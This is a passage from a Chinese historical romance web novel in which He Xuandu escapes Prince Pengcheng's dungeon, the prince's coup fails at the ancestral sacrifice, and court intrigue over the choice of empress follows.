贺玄度正闭目养神,听到动静,缓缓睁开眼。 “看王爷这气色,事成了?” 彭城王笑道:“贺二公子好计谋,此事已经传遍长安城。” 贺玄度朝他躬身道:“父亲他先是以臣废君,又枉顾人伦,实难堪大任。明日祭祀大典,王爷大业将成。” 彭城王挑眉看着贺玄度,“我实在想不明白,你这么对付自己的父亲,对你有什么好处?” 贺玄度随意坐下,斟了一杯茶,平静道:“丞相府那些显赫与荣宠,不论是现下还是以后,都不会是我的。没了,也没什么可惜。我为王爷出了这么大的力,只是想安然无恙地回去。” 彭城王跟着坐了下来,“为了能早点见到你那位夫人?” 提到柳舜华,贺玄度淡漠的脸上又浮现出一丝温情,“没错。” 彭城王道:“你的夫人,的确重情重义。今日为了救你,硬是在宫门前跪了整整小半个时辰。” 贺玄度浑身一颤,瞳孔骤然紧缩,呆愣愣地问:“你说……谁?” “还能有谁?”彭城王勾起嘴角,讥笑道:“你的夫人,为了你跪在宫门前,苦苦哀求那个废物刘九生出兵寻你。可惜啊,那个缩头乌龟,怕得罪你父亲,连面都不敢露。” 贺玄度只觉得心口被人狠狠捅了一刀。 天还这么冷,她那般单薄的身子,竟在冷硬的石板上跪了半个时辰。 指节捏得咯咯作响,他恨不得当场给自己一耳光! 他一心想逼迫父亲出手,却没想到连累蓁蓁为他受这种委屈。 “你看看,出了事,谁都靠不上。你亲生父亲是,刘九生这个连襟更是。”彭城王笑道:“我跟他们不一样,我惜才。等我登上皇位,不如,你就跟着我算了。” 贺玄度紧握的拳头缓缓松开,笑着道:“承蒙王爷看得上,静候王爷佳音。” 彭城王想了想,“贺二公子大才,是贺留善他有眼无珠。我有心想重用你,只是,你终究是贺留善的儿子。这样,你娶了我女儿,到时候咱们就是自己人了,如何?” 贺玄度嘴角动了动,“王爷,我已经有了夫人。何况郡主尊贵,我哪里配得上。” 彭城王摇摇头,“贺二公子人品样貌皆是上乘,如何配不上。我知你已娶妻,伉俪情深,自然不会棒打鸳鸯。我这个女儿,可嫁与你做妾。” 贺玄度抬头看向彭城王,他竟让自己的亲女儿嫁给他做小,到底是怎么想的? 彭城王看他依旧有疑,“说起来,我这女儿,你也认识,算是熟人。”说着便朝门外道:“梅好,别站着了,出来吧。” 昏暗灯光下,一道窈窕的身影缓缓走近,贺玄度抬头望向来人,还真是梅好。 他只知梅好是千机阁的人,没料到,竟是彭城王的亲女儿。 梅好一身黑衣,往日温软的眉眼此刻透着几分冷厉,对着彭城王躬身道:“父亲。” 彭城王道:“我这边还有要事,你们可以好好谈谈。” 说罢,便离开地牢,临走前,对着门外的守卫挥挥手,示意他们站得远一些,以免耽误了两人。 贺玄度方笑道:“梅好姑娘。” “啪”的一声,梅好一巴掌打在贺玄度脸上。 贺玄度转头看向梅好,一脸莫名其妙,“好端端的,你为何动手?” “废物,轻易便被人捉来。”梅好怒目而视,“废物也就罢了,连累柳大小姐为你奔波辛劳,竟然还……还想着再娶一个。” 贺玄度一脸委屈地摸着脸,“梅好姑娘,你不能不讲理,我什么时候说要再娶了,是你父亲,为了拉拢我,逼着我娶你。你不想嫁,我还不想娶呢。” 梅好脸色缓和,“真的?” 贺玄度举手立誓道:“我这一生,只会有一个妻子,便是柳舜华。若负柳舜华,当受五雷诛顶之刑,不得好死。” 梅好这才作罢,“我姑且信你一回。” 贺玄度瞥了一眼,见她长 舒一口气,似乎是真的放下心来。 他试探道:“梅好姑娘,你看,此前怎么说,我也帮过你一回。” 梅好抬眼,不客气道:“你帮我,只是顺便而已。真心想帮我的,是柳大小姐。” 贺玄度点头:“是是是,帮你的是蓁蓁,那能不能请你看在蓁蓁的面上,也帮我一把。” 梅好道:“放了你?这里里外外都是我们的人,即便我帮你,你也逃不出去。” 贺玄度:“不用放,你看我这脚链还好,就是这个手链,实在难受。你能不能,想个办法,帮我把手链打开。” 梅好瞥了他一眼,“贺玄度,你想什么我很清楚。我是千机阁的人,我父亲是彭城王,你以为,我会背叛我父亲?” 贺玄度不屑一笑:“梅好姑娘,你好歹也是个杀手,应当知道鸟尽弓藏的道理。你就是颗棋子而已,就算彭城王继位,你能得到什么?一个杀手,歌姬,你以为他会认你,别傻了。我与长姐皆是父亲的亲生嫡出儿女,可一旦涉及权利,不照样被父亲毫不留情地抛弃。” 梅好脸色一沉,“不会的,父亲不会抛下我的。” “你跟着彭城王许久,应当清楚他的为人。他本质上与我父亲没什么两样。”贺玄度举着手上的铁链,“若你继续执迷不悟,下场只会比我更惨。” 梅好低头,久久沉默。 贺玄度叹声道:“梅好姑娘,我看得出,你本性不坏。一切都还来得及,明日一早,你便离开长安,远走高飞,去过你想过的生活。” “我想过的生活?”梅好喃喃一声,抬起头,“我已无处可去。” 贺玄度看出,她根本不想嫁她,循循善诱,“你想想,这天下之大,总有容身之地。” “我想,去凉州。”梅好垂眸思索片刻,缓缓抬头,“我知道,凉州是你舅舅的地方。贺玄度,若你出去后,能保我在凉州周全,我可以考虑帮你。” 凉州?她怎么会想去凉州。 贺玄度快速想了想,凉州是舅舅的势力范围,她一个人,又处在监控下,断无东山再起的可能。 他点头,“好,我答应你。” 梅好淡声道:“今夜,我同刑风一起值守,我只负责帮你拿到钥匙,至于如何逃出去,要看你自己的本事。我只能保证,对战之时,不会伤你。” 贺玄度点头致谢,看着梅好身影一闪,走出了牢笼。 寒风如刀,自窗隙呼啸而入,烛火在风中剧烈摇曳。 柳舜华静坐榻前,听着耳畔北风凄厉的呜咽,好似刀兵相接前的低啸。 今夜,是唯一的机会。 周松已率暗卫直奔温泉山庄,可相府这边,却仍无半点动静。 她抬眸望向窗外,夜色如墨,唯有竹枝在风中狂舞,鬼魅一般。 若相府今夜仍不出手,周松便只能强攻。 可一旦如此,他们蛰伏多年、步步为营的谋划,便会顷刻崩塌。 烛火猛地一颤,柳舜华心跟着一颤,伸手将烛火护住。 窗外,寒鸦惊起,方才将熄的烛火,又熊熊燃烧起来。 地牢里死寂如渊,最后一丝虫鸣也消尽了,唯有湿冷的石壁渗着寒气。 贺玄度默默数了数衣摆下方的绳结,确定已经过了丑时。 还有两个时辰,天便要亮了。 大约是想着明日之后,便再也不用躲躲藏藏,门外值守的侍卫放松警惕,倚靠在墙边,睡了过去。 贺玄度歪头,从发冠中取出一片薄刃,卷曲着身体,小心翼翼地打开脚上的镣铐。 只可惜,手上的铁链每到睡时便紧紧缠在一起,他双手被缚,便是薄刃在手,也无济于事。 他盯着门外,突然闻到一阵异香,下意识捂住口鼻。 门外两个守卫“扑通”一声,倒在地上。 贺玄度忙走上前,“你怎么才来?” 梅好看着仍在床上的脚链,“你打得开?” 贺玄度将手递过去,“你还真当我是废物啊,若不是双手被缠着,我还用你。” 梅好冷哼一声,伸手替他打开束缚。 铁链应声落地,梅好道:“前面重重守卫,都是我们的人,你自求多福。” 贺玄度笑道:“不劳梅好姑娘担心,你听,救我的人来了。” 梅好也是习武之人,耳朵甚是灵敏,凝神一听,果然觉出异常。 她神色骤变,很快反应过来,“贺玄度,你是故意留在这儿的?” 贺玄度揉着手腕,淡声道:“梅好姑娘,你的机会来了。我若是你,便会趁着这个绝佳的时机,趁早脱身。” 其实,在彭城王提起要将她送给贺玄度为妾时,梅好对他这个父亲最后一丝眷恋也化为乌有。 为了他口中那所谓的大业,她甘愿蛰伏在阴暗的角落,十指染血,骨子里都浸透了肮脏。 她原以为她只是姬妾所生,要付出千倍万倍的努力,才能让父亲多看她一眼。 于是,她拼了命地练武,豁出性命去窃密,就是为了每次任务完成后,他眼中一点赞许。 就为这转瞬即逝的眸光,她竟像条狗般摇尾乞怜了半生。 可到头来,他连半分迟疑都没有,就要将她像件玩物般随手送人! 在丞相府陪着柳舜华的这些日子,她越来越意识到,什么才是真正的自由。 她想放下执念,放过自己,去一个千机阁找不到的地方,好好地,重新活一遭。 就像柳舜华曾经说过的一样,日日常新,她有活下去的希望。 她凝眸,看着贺玄度,一字一句说得无比清晰,“劳烦贺二公子,回去向柳小姐带句话,就说梅好此生,永远铭记柳小姐大恩。” 说罢,梅好一笑,转身消散在暗夜里。 贺玄度不再耽搁,紧随其后,冲出牢门。 走出地牢,外面已是厮杀一片。 千机阁一行五六十人,虽个个身手不凡,但金吾卫全副武装,重甲在身,厮杀间不落下风。 刀光剑影间,地上横七竖八地躺倒一大片,空气中满是化不开的血腥之气。 贺玄度一眼瞧见为首的程三,快步杀到他面前,低声道:“务必生擒那个叫刑风的,上次袭击都尉府,有他的画像,贺玄晖应该能认出他。” 程三会意,高呼一声:“来人,速速护送贺二公子回府!” 话音未落,正在与人缠斗的刑风突然剑锋一转,寒芒直逼贺玄度面门而来。 贺玄度微微偏头,轻松躲过。 剑光一寒,刑风再次举剑,还想留下贺玄度,却被程三长刀拦住。 贺玄度人已退至半丈外,笑道:“刑老兄,实在对不住,急着回去见夫人,失陪了。” 东方既白,青砖黛瓦上凝着一层薄霜。 贺丞相与贺玄晖早早赶往祖庙。 柳舜华彻夜未眠,此刻正静立在廊下。 绿玉几日不见贺玄度,似是感受到什么,也不敢再叽叽喳喳,乖乖停在柳舜华肩头。 门外突然响起急促的脚步声,柳舜华霍然起身。 薄青色晨光散落在庭院内,稀疏的海棠花树上,覆了一层薄薄的霜气。那人踏过一路的风霜,正立在树下。 风吹起他的衣摆,衣襟上还沾着远山的雾气,几缕凌乱的发丝散落在额前。 他朝她张开双臂:“蓁蓁,我回来了!” 第107章 第107章螳螂捕蝉,黄雀在后…… 柳舜华快步走下石阶,一头扑进贺玄度怀中。 贺玄度伸手将她牢牢揽在怀里,不住道歉:“对不起,蓁蓁,我让你担心了。” 柳舜华箍紧他的腰,眼泪浸透他胸前的衣衫。 绿玉不知何时飞了过来,立在贺玄度肩头,扑闪着翅膀拍打着他,“笨蛋,坏家伙,坏家伙。” 柳舜华扑哧一声笑出来,从贺玄度怀中起来。 贺玄度揪过绿玉,一把拎至半空,“再骂,罚你三天不准吃核桃。” 芳草与妙灵见贺玄度回来,一个个欢天喜地,又是准备热水,又是预备餐食。 贺玄度舒舒服服洗了澡,换身干净的衣衫出来。 柳舜华早已在房中候着,见他披着半湿的乌发走出来,眸中便泛起温柔的水光。 她拿起外衣迎上前,亲自替他更衣,指尖不经意擦过他颈侧肌肤,多日未曾亲近,两人俱是轻轻一颤。 “你瘦了。”柳舜华声音哽咽,系着衣带的手却动作一缓。 贺玄度垂眸,静静凝望着她,突然伸手揽过她,将她拉至床边坐下。 柳舜华陷在柔软的床榻间,抬眸望向贺玄度。 贺玄度扑通一声跪在她跟前,拉住她的手,“蓁蓁,我错了。” 柳舜华吓了一跳,忙伸手去扶他。 贺玄度按住她的手,一双大掌落在她膝盖上,沉沉道:“疼吗?” 柳舜华愣了一下,才反应过来,笑道:“已经上了药,早不疼了。” 贺玄度头垂得很低,被 千机阁的人抓去,父亲放弃了他,九生为了他不能有任何举动。 没人知道,那天夜里,他是怎么过的。 他虽已决定站在父亲对立面,想要程氏血债血偿,却从未想过要致父亲于死地。他甚至想过,若有朝一日,九生清算相府,他会以这些年与九生的情谊,换父亲全身而退。 然而,在生死关头,父亲却毫不迟疑地放弃了他。 唯有蓁蓁为他四处奔波,为他放下尊严,跪在未央宫门口。 他声音哽咽,“蓁蓁,我不该生你的气。我明知道,你心里是有我的,可我当时一下接受了太多,有些错乱。” 柳舜华抚着他的脸,“是我该道歉,说好要相互信任,我却犹犹豫豫,一直瞒着你。” “被关在地牢那几日,我一直在想,若我就此死在彭城王手里,那该有多不甘。你我最后一面竟是争执,连句软话都未及说……”贺玄度抬头,眼尾猩红,“蓁蓁,我差点……就永远见不到你了。” 柳舜华一颗心像落在地上的琉璃,顷刻间碎成一片片,声音不觉又柔了几分:“玄度,已经过去了,都过去了。” 贺玄度看着她的眼睛,“蓁蓁,不会太久的。” 柳舜华抬眸,“什么不会太久?” 贺玄度声音中透着坚定,“回凉州。我会带着你回凉州去,从此山川草原,任你驰骋,开始你全新的生活,没有拘束,只有自由。” 柳舜华一滞,这些时日,他们忙于应付丞相府,烦心事接踵而来,她刻意忽略内心的渴望,没想到贺玄度从未有一日忘记过他们的约定。 贺玄度将她的手放在心口,“蓁蓁,无论你想要什么样的生活,我都会随你。我只想,往后你的生活里,有我。” 柳舜华鼻尖发酸,眼眶微热,这些日子的茫然,不安瞬间消散不见。 她点头道:“好。” 外面传来脚步声,银纤姑姑亲自端了餐食过来。 贺玄度这才从地上起来。 用过早膳,柳舜华才问:“是父亲的人,对吗?” 贺玄度点头,“多亏有你,逼得他不得不动手。” 想到这,柳舜华道:“说起来,还要多谢彭城王,若是没他到处散布消息,我无论如何也逼不到父亲。” 贺玄度笑了笑,低头剥着橘子,没有再说话。 柳舜华瞧他一脸悠然,问道:“今日便是祭祀大典,事关刘九生能否安稳继位,你不担心?” 贺玄度将剥好的橘子递过去,“放心。彭城王,完了。” 过了午时,一直在外打探消息的周松满头大汗回来,一进屋便激动道:“公子,成了。” 贺玄度起身给他倒了茶水,“九生他,顺利继位了?” 周松接过茶水,双手依旧不停颤抖,激动道:“公子运筹帷幄,从今往后,再也不会有人质疑皇上的正统了。” 柳舜华忙让他坐下,细说今日宗庙上究竟发生了什么。 祭祀大典才开始,刘九生着冕服登祭坛迎神,韶乐奏响,还未向神位献上玉璧,彭城王站了出来。 彭城王以亲兄长、太子涉嫌谋反之事为由,直指刘九生已非皇室正统。 贺留善搬出武帝临终遗言,刘九生之名已记入玉牒,反指他无诏擅离封地,带甲士陈兵灞桥,罪同谋逆。 彭城王狡辩,身为皇族,不能维护皇室正统,致皇权旁落,才是大逆不道。 随后,平阳王连同十几个皇室宗亲站出,大谈“兄终弟及”,武帝血脉在世,贺留善越过彭城王,擅立武帝曾孙,于礼法不合。 贺留善请出候在殿外的儒生,就“父死子继”的宗法传统高谈阔论。那些儒生最擅辩,皇室那些人翻来覆去就只有武帝太子谋逆一句,很快被儒生们攻击得败下阵来。 彭城王不慌不忙,一字不落地重复着市井传言,又提及相府二少夫人被迫跪在未央宫宫门前。 意思再明显不过,贺留善枉顾人伦,置自己亲儿子生死不顾,如此冷血薄情,本身便是不重礼法之人,如今竟妄谈礼法,如何让人信服。 方才还理直气壮的儒生瞬间偃旗息鼓,齐齐望向贺留善。 贺留善不语,只是望着祭坛之上,破云而出的金光,像是等待着什么。 片刻,贺玄晖带着拼杀了一夜的金吾卫跪在祭坛下。 负责此次任务的程三,呈上从温泉山庄搜出的密信,里面有不少彭城王与皇室众人勾结的证据。 彭城王脸色骤变。 温泉山庄是个极其隐秘的幌子,这些时日,他与一众朝臣的往来书信,皆放于此。他一时有些慌乱,强狡称不过是些寻常的书信往来。 程三冷笑,押上被俘的千机阁众人。 贺玄晖当着众臣的面,拿出此前郑刺史勾结匈奴叛国投敌案中被通缉的余孽的画像。 众臣哗然,掳走相府二公子的,竟是此前郑刺史那伙人的余孽。 彭城王彻底慌了,贺玄晖给他设了套,他竟毫无防备地钻了进去。 他方才急于撇清与皇室众人勾结,意图不轨的嫌疑,已经承认书信乃他亲笔所写。如今刑风被认出,千机阁与他之间的关系就此暴露。 千机阁此前参与郑刺史叛国,如今被查出听命于彭城王。显而易见,彭城王便是叛国案的幕后主使。 贺玄晖是此前郑刺史叛国案的主审人,丝毫不给他喘息的机会。 当即厉喝一声“拿下”,金吾卫迅速将彭城王制住。 彭城王原以为,这一趟,最坏的结果不过是打道回府。如今却被贺留善牢牢压制,万劫不复。 他挣扎着望向一旁的皇室宗亲。 只见方才还附和他的宗亲们纷纷跪地求饶,哀嚎一片。 柳舜华虽不在场,但听完周松禀报,仍觉心惊。 她问:“彭城王还有可能东山再起吗?” “绝无可能。”贺玄度叹声道:“父亲不会给他机会,灞桥那些甲士,回不去了。” 柳舜华还恍若在梦中,她总觉得,贺丞相这次运气委实好过了头。 贺玄度轻笑:“那些谣言是我故意透露给彭城王的,至于程三,本就是我们的暗棋。” 柳舜华这才反应过来,她就说怎么会如此凑巧。 贺玄度在地牢内,竟然还能如此镇定,游刃有余,让彭城王与贺丞相鹬蚌相争。 她长舒一口气,“从今往后,皇上的地位,算是稳住了。” 贺玄度摇头,“远远不够,好戏还在后头呢。” 暮色渐沉,云霞瞬息千变,终化作一抹残烬般的暗红,没入苍茫之中。 宫内传来消息,车骑将军之侄张毅奉命查抄彭城王府,在一处密室中发现当年彭城王陷害武帝太子谋反的证据。 张毅一直依靠其叔父,头一回被新帝委以重任便立了一功,喜不自胜,也不禀报叔父,直接将证据呈给新帝刘九生。 刘九生得知真相,惊愕之下震怒,命张毅协助贺玄晖,彻查彭城王。 窗外暮鼓沉沉,贺留善望向宫城方向,不知为何,生出一股寒意。 车骑将军火速赶来丞相府,一再保证,张毅查出彭城王诬陷先太子一事,自己毫不知情。 今日实在发生太多事,贺留善心思缜密,隐隐觉出似乎有哪里不对。 他总有一种直觉,这一切背后,好像有一个双无形的大手,在操纵一切。 他不安心,反复与贺玄晖确认过程三身世,土匪出身,曾被万都尉关押,趁着郑刺史围攻都尉府后元气大伤,带领众匪逃出凉州。 又见车骑将军亲自登门,想到张毅素日的品性,觉得或许真的是他多虑了。 总归这些事,对他有利无害。 扳倒了彭城王,经此一事,平阳王永无再受到新帝重用的可能。 从此,朝中他大权独揽,再没有人与他抗衡。 贺玄度听着周松打探来的消息,一颗心才算落下。 他缓步至廊下,暮色 中的宫城轮廓模糊,飞檐重阁在霭色中层层叠叠,将那座最高的殿宇掩得严严实实。 十年筹谋,步步为营,从凉州寒夜里的对弈,到如今长安城中的风云变幻。 他与九生等这一刻,都太久了。 此前在地牢被囚多日,寒气未消,又站在风里太久,贺玄度不觉咳了起来。 突觉身上一暖,柳舜华将一件披风搭在他肩头。 贺玄度抬手覆上她还未收回的手,冰冷的侧脸贴着她的手背,轻轻蹭了蹭,像是只走失多日归家的猫儿,在像主人诉说着它的委屈。 “蓁蓁,”他喃喃低语,“谢谢你,给了我一个家。” 第108章 第108章春日好 次日一早,贺玄度携柳舜华去祖母处问安。 一见到祖母,贺玄度不觉泪目。 老夫人正倚靠在暖榻上小憩,稀疏的银发在日光下泛着柔光,嬷嬷叫了好几声才睁开眼。 “宁儿来了。”老夫人一见到贺玄度,笑着拉他坐下。 贺玄度哽咽道:“祖母,孙儿不孝,这些日子一直在忙,都不曾过来看您。” 老夫人笑得慈爱,“不怪你,你才新婚,要忙的事多着呢。再过几日便是新年,蓁蓁头回在咱们府上守岁,你可要好好地待她。” 贺玄度愣了一下,见柳舜华对他点头,附和道:“是,祖母。” “我这把老骨头,什么都不想了,就盼着你们小夫妻和和美美的。”老夫人将两人的手放在一起,拍着他们的手背,“宁儿,你花起钱来没个轻重,又疏于庶务。蓁蓁是个好姑娘,你母亲留下的那些田产铺面,可放心交给她。” 贺玄度点头应下。 柳舜华心里藏着事,又听老夫人像交代后事一样叮嘱,眼眶泛红,拼命忍着泪。 出了院子,贺玄度沉默片刻,问:“祖母这样多久了?” 柳舜华看向路边的残梅,“有两三日了,已经请了御医,说是要安心静养。” 贺玄度突然抬头,“蓁蓁,祖母还有多少日子?” “不足一个月。”柳舜华垂眸,闷闷道:“有时候,我真讨厌这种感觉,什么都知道,却什么都做不了,只能看着他们走向写好的结局。” 贺玄度安慰道:“蓁蓁,我很感激,你能预知未来。这样,我便能在这一个月内,好好陪着祖母。” 两人正走着,转过回廊,迎面碰到一人缓步而来。 贺玄度脸色骤冷。 贺玄晖一身白衣,立在月洞门前,一张脸在高大的香木阴翳的笼罩下,阴晴不定。 片刻沉默后,贺玄晖笑道:“真巧,我也正要去向祖母请安。” 贺玄度没有说话,只是微微点头。 自知晓上辈子柳舜华曾嫁于他,贺玄度看到他便觉得浑身不畅快。 见贺玄度态度冷淡,贺玄晖依旧稳稳挡在洞门前,丝毫没有相让的意思。 他又道:“月底便是我的生辰,二弟事忙,可别忘了。” 贺玄度懒懒道:“兄长放心,您的寿礼,定会按时奉上。” “二弟有心了。”贺玄晖微微一笑,转向柳舜华,“弟妹不必为我送寿礼,我只想吃一碗你亲手做的莲子粥。” 贺玄度周身冷得能结冰。 贺玄晖不会无缘无故地提什么莲子粥,除非,上辈子蓁蓁亲手为他做过。 柳舜华蹙眉,贺玄晖但凡有点脸面,都不应该再提莲子粥。 前世,移居西竹院一阵后,柳舜华开始有些后悔。 她生性喜欢热闹,西竹院太过冷清。 当初只是为了赌气,而今倒是被架起来。 她不肯低头,贺玄晖又从不将她放在心上,长此以往下去,怕是连他的面都见不到。 终于,等来了机会,月底便是贺玄晖的生辰。 作为相府长媳,贺玄晖的妻子,她名正言顺地出现在宴席上。 她让妙灵留意贺玄晖一举一动,想寻个由头见他,借坡下驴,从西竹院搬出来。只可惜,贺玄晖忙于应付宾客,从头到尾,她都未能同他说上一句话。 等到宾客散尽,妙灵过来说贺玄晖席上并无动筷,眼下正在书房歇着。 她听后立即盛上熬好的莲子粥,嫩白的莲子个个浑圆饱满,苦芯被她细细挑去,上面撒了一层金丝蜜枣,又特意加了蜂蜜,甜糯的香气飘了一路。 贺玄晖正低头专心看书,听到门响,下意识抬头。 看到柳舜华,贺玄晖片刻怔愣。 柳舜华将莲子粥放在案上,声音尽量柔和,“你今日吃了不少酒,待会要头疼了,喝口热汤吧。” 贺玄晖执书的手微微一顿,瞥了一眼案上的粥,没有说话。 柳舜华笑道:“今日是你生辰,我没什么好送的,特意给你熬了粥,你要不要尝尝?” 贺玄晖目光重新回到书上,淡声道:“放那吧。” 他没有拒绝! 柳舜华眼底倏地亮起火苗,唇角刚弯起,门外便传来一阵轻笑。 “嫂嫂人都搬到了后院,怎么还如此殷勤。” 柳舜华看着一身红衣、笑得肆意张扬的贺容暄,冷笑一声转过头去。 贺容暄越过她,走到书案前,撒娇道:“兄长,你贺礼中有一幅书画,我很喜欢,特意来向你讨。” 贺玄晖笑笑,起身去书架上翻找,“好,看中什么,都拿去吧。兄长的东西,都是你的。” 贺容暄朝着柳舜华得意一笑,扫了一眼案上的莲子粥,“兄长,我口渴,要喝粥。” 贺玄晖背影几不可察地僵了僵,声音却无比平淡,“嗯。” 贺容暄装模作样喝了一口,眉头紧皱,“兄长,好苦。哪里来的厨子做的,趁早撵了出去。” 贺玄晖头也没回,“既如此,那倒掉吧。” 那碗莲子粥最终还是被倒掉了,连同柳舜华最后的期望。 二月的风,徐徐将旧日光影吹淡。 柳舜华缓缓抬头,声音不带一丝温度,“兄长,我不是府中厨娘,不擅此道。” 贺玄晖愣了一下,垂眸掩盖一闪而过的失落,再抬头,已笑得如沐春风,“弟妹说得是,是我唐突了。” 柳舜华挽住贺玄度的手臂,柔柔道:“这里风大,你别又咳嗽了,咱们回去吧。” 贺玄度朝她一笑,趾高气扬地越过贺玄晖。 回到院内,贺玄度趁着柳舜华休息,将周松叫来。 “贺玄晖近日都做了什么?” 贺玄晖也恢复上辈子的记忆,他记得蓁蓁曾是他的妻子。 蓁蓁说,贺玄晖对她冷淡薄情,可贺玄晖看她的眼神骗不了人。 同样是男人,一样爱着蓁蓁,他的眼神,瞒不住他。 隐忍,不甘,占有欲,还有……势在必得。 贺玄晖一直在隐藏,这份克制,让他不安。 周松道:“最近大公子与丞相一直忙着应付彭城王。” 贺玄度道:“我问的不是这个,他还有没有其他举动。” “公子被抓后的第二日,凉州那边传来消息,说大公子又让人打听程三。都尉那边已经做足了准备,他们查不出来什么。”周松摸着头,想了想,“另外,还真有一桩事,比较奇怪。” 贺玄度问:“如何奇怪?” 周松道:“信上说,大公子曾秘密命那个新刺史在凉州造一个假身份。” 贺玄度微微抬眸,“什么假身份,作何用?” 周松摇头,“这就不知道了,只说那个假身份是个女子。” 女子,假身份。 贺玄度突然有种不好的预感,他总感觉,贺玄晖此举或与蓁蓁有关。 只是,贺玄晖要做什么呢? …… 彭城王涉嫌叛国一事,尘埃落定。 当初支持他的皇室宗亲一个个跪在未央宫门口,口口声声说是受到了彭城王的胁迫。 刘九生召来贺丞相,商讨要如何处置。 贺丞相对刘九生事事先过问他,很受用,顺便问了他的看法。 刘九生谦虚道 :“这些事吾不太懂,还要仰仗丞相。只是,他们都是皇亲国戚,若不妥善处置,只怕会引起骚乱。毕竟,此前……” 他没往下说,贺留善很清楚。 刘九生是想提醒他,刘昌之事后,朝中对他不尊皇室颇有微词。 贺留善点头,“皇上考虑得很周到。以臣愚见,不如,涉事较深的降为庶人,其余人等,罚俸一年,以儆效尤。” 刘九生又道:“其他人都好说,平阳王是武帝的亲弟弟,不知要如何才算妥当。” 武帝驾崩后,贺留善与平阳王在朝中争斗多年,贺留善虽身为辅政大臣,奈何睿帝擅用平衡之术,他也只是稍胜一筹。 直至睿帝驾崩,贺留善立刘昌为帝,平阳王见刘昌年幼,妄图摄政,屡献殷勤。谁知刘昌是个油盐不进的主,摄政王之梦破灭。 及至刘九生继位,朝政尽委丞相,平阳王之势日衰。 是以,彭城王找上平阳王的时候,他毫不犹豫地站出来支持。 如今彭城王叛国罪名不容置疑,又兼趁武帝病重之时,设计将龙袍藏于太子府密室,带重兵围剿,逼迫太子起兵反击,诬其造反。此两项罪状,百死难辞其咎。 平阳王支持彭城王夺权,这是永远也洗不清的污点。 贺留善与平阳王斗了这么多年,终究是败了。 刘九生将平阳王交由贺留善处理,可谓诚意十足。 贺留善频频点头,“皇上无须多虑,平阳王同其他人一样,罚俸一年。” 平阳王勾结彭城王,与刘九生已结仇怨,永无再重用的可能。而经过上次刘昌废黜之事,贺留善急需拉拢皇室中人为其延誉,如此一来,平阳王反倒是不错的人选。 彭城王夺权不成,反牵扯出陈年旧案,武帝太子谋反一案最终平反。 刘九生天子之位,再无人质疑。 朝中立后之声渐起,暗流涌动,各方势力蠢蠢欲动。 程氏最先按捺不住。 此前刘昌继位时,她便动过送贺容暄入宫的念头。然刘昌品性乖戾,纵使她贪恋权势富贵,终究难舍母女之情,几番权衡之下方才作罢。 如今天子刘九生人品性情有目共睹,后宫迄今不过一个不中用的婕妤。刘九生事事仰仗丞相,若是贺容暄入宫,后位唾手可得。 她当即将这个想法告知丞相。 贺玄晖出乎意料地反对,如今相府大权在握,如日中天,根本不需要一个傀儡皇后。 他语重心长地告诫贺容暄,一入宫门深似海,与其嫁个无心之人,终日自怨自艾,倒不如寻个知冷知热的良人,安安稳稳度此余生。 上辈子,贺容暄入宫为后,刘九生也的确宠她。但她跋扈惯了,偶尔惹怒了帝王,他也不发火,只是冷着脸去宠幸别的妃子。贺容暄回府来闹,刘九生虽是傀儡,但毕竟是皇上,贺丞相只能耐着性子劝她回宫。 贺玄晖记得,那年冬日,她又一次生气回府,临回宫前,她望着天地间纷纷扬扬的大雪,声音缥缈,“兄长,人人都说皇上宠我,可我知道,他只是忌惮相府罢了。有时候我在想,若我嫁的是平常人家,每次回娘家,日落之前,夫君笑吟吟地来接我回家,那该多好。” 贺容暄觉得兄长的话有理,犹豫了。 然而程氏根本不当回事,她只知道,以相府如今的权势地位,女儿绝世姿容,区区一个皇后,绰绰有余。 很快,群臣上奏立后人选,贺容暄赫然在列。 刘九生召车骑将军的侄子张毅入宫,嘉其搜出彭城王罪证,替祖父平反昭雪。兴致上来,拉着他喝得酩酊大醉,说是此恩情永世难忘,擢为中尉。 祖父复入玉牒,刘九生感楼宗正操持之劳,又兼祭祀大典上,楼宗正秉公直言,力排众议,对其恭敬有加,赏赐金玉器物若干。 朝堂之上,众臣对皇后人选各执一词,围绕着贺容暄与柳棠华谁当立,争论不止。一直争到快下朝,都未能讨论出结果。 此事牵涉相府与自身,刘九生头一回未提前征求贺丞相意见。 金光照过大殿,刘九生霍然起身,朗声道:“昔日吾居陋巷,草堂听风,蓬门闻籁。柳棠华不惧吾贫,与吾共历寒微。尝闻贫贱之交不可忘,糟糠之妻不下堂。若吾忘却旧日夫妻情分,失了恩义,那如何让此前真心助吾的朝臣信服?” 语毕,殿中寂然。 片刻后,楼宗正率先站出,“陛下重情守义,实乃圣君之象。” 张毅紧随其后,几个忠直之臣也跟着拜伏。 楼宗正行事,一贯守礼,他支持立原配为后,也不足为奇。只是,这个张毅,是车骑将军的侄子,车骑将军是贺相的人,他此举倒让众臣一头雾水。 贺留善原也想着,送贺容暄入宫为后。 还是贺玄晖提醒了他,他已位极人臣,掌管朝政大权,若再将女儿强行封后,难免落人口实。 何况以贺容暄脾气,若是为后,难免与新皇起争执,到时免不了要受气。 刘九生朝堂之事多依赖他,如今却铁了心要立刘婕妤为后,若是他强行反对,只怕会适得其反。 最重要的是,柳棠华家世简单。父亲才能平庸,难堪大任。柳桓安虽有才干,但此前受刘昌重用,未央宫前又替刘昌说尽好话,现已降去鸿胪寺。即便柳棠华为后,外戚也难以把持朝政。 贺留善上前,请封柳棠华为后。 月末吉日,凤诏颁下,柳棠华于太庙受玺绶,正位中宫。 消息传至柳府,朱门内外一片欢腾。 鞭炮声中,孙氏被众星拱月般围在正堂,因柳桓安失势而冷清的院落,此刻挤满了道贺的族人,管事捧着各色贺礼鱼贯而入,险些踏破门槛。 柳舜华抽空回了柳府,院中彩棚下高朋满座,廊下都挤满了人,仗势之大,远远超过棠华出嫁之时。 尤其棠华出嫁时那些人,个个换了副面孔,围着孙氏,直叹她好福气。 大堂婶捧着孙氏的手直夸,“我早说芊芊这孩子天庭饱满,珠圆玉润,面相贵重,可不就是凤命。” 有人附和道:“谁说不是呢,去年重阳家宴时,我就瞧她气度不凡。一眼便能看出,不是寻常闺秀能有的。” 孙氏笑道:“我们家芊芊,一看就是个有出息的。她落草那日,您猜怎么着?窗棂上突然停了几只喜鹊,那羽毛在日头底下竟泛着紫光,可不就是紫气东来嘛。” 一旁的芳草忍不住,拼命捂住嘴,生怕自己笑出来。 柳舜华只是静静地听着,眼一瞥,瞧见叔母葛氏挤了进来。 葛氏一改往日的倨傲,低眉顺眼地凑到孙氏跟前,亲手捧着一匹上好的云锦,“这料子是昨儿个新得的,想着这样好的东西,也唯有嫂嫂才配得上。” 